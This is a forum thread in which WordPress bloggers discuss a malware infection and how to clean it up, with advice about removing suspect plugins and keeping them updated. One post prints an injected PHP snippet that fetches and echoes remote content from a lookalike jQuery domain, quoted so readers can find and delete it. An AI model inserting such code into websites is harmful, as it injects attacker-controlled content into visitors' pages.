I figured I would post this just in case anyone else has this issue they have a good place to start to track it down. Make sure to only delete the function. Below is an example from a friends site.

if (function_exists(‘curl_init’))
{
$url = “http://www.j-query.org/jquery-1.6.3.min.js”;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo “$data”;
}
?> 

The code you are looking for will look something like this, but may have a different link and it will fix you issue and you're site will run a lot faster. 

but im back up!!!!! wooo hooo

Wordpress is vulnerable as any other software. But you increase the risk by installing various widgets and plugins. Always look for star rating and review of the plugin before blindly installing them for the sake of trying new things out.

 

MBA, try to remeber which plugin you installed lately and try removing plugins one by one, with last one first. 

 

Your can FTP the content on your local desktop and search in files (any text editor does that) for the words "redirect' etc.

any plugin with that kind of word is a suspect. try to determine the plugin be seeing the file's folder structure or documentation within.

WordPress in general isn't the issue like OneCent said, but it's the plugins/themes that usually cause havoc, more specifically, if plugins and themes aren't kept up to date, or are coded badly, you're open to attacks. When a new release of a plugin/theme/WordPress core comes out, in the release notes, vulnerabilities that were patched are revealed which makes the old version even more susceptible.

Is inmotion still working on the problem?

I've sent you an email.

MBA, try to remeber which plugin you installed lately and try removing plugins one by one, with last one first. 

Your can FTP the content on your local desktop and search in files (any text editor does that) for the words "redirect' etc.

any plugin with that kind of word is a suspect. try to determine the plugin be seeing the file's folder structure or documentation within.

Charles @ MoneyGreenLife said:

i wonder how these malwares are installing themselves onto our blogs. How do we prevent them from happening all over again even after a fix?

Thanks for your suggestion.